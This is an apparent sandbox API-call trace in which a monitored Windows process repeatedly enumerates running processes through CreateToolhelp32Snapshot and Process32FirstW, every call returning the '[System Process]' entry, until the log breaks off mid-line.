1 [0232.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0232.047] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0232.358] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0232.548] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.701] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0232.705] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0232.938] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0233.166] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.309] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0233.327] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.481] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0233.498] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.705] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0233.709] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.880] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0233.884] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0234.205] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0234.451] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.668] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0234.671] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.870] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0234.873] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0235.117] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0235.360] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0235.574] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0235.790] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.117] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0236.120] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.310] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0236.343] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0236.542] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0236.729] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0236.983] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0237.205] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0237.387] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0237.598] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0237.745] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0238.025] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0238.337] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.521] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0238.525] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0238.727] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0238.946] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0239.138] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.332] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0239.335] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0239.564] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.773] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0239.851] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0240.271] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0240.567] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0240.773] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0241.003] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0241.269] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0241.437] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0241.658] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0241.885] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.248] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0242.268] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0242.500] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0242.693] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0242.875] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0243.014] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0243.155] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0243.298] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0243.513] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0243.717] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0243.881] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0244.195] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0244.505] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0244.700] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0244.857] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0245.013] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0245.168] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0245.336] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0245.551] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0245.755] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0246.026] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0246.223] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.438] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0246.464] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.638] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0246.641] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 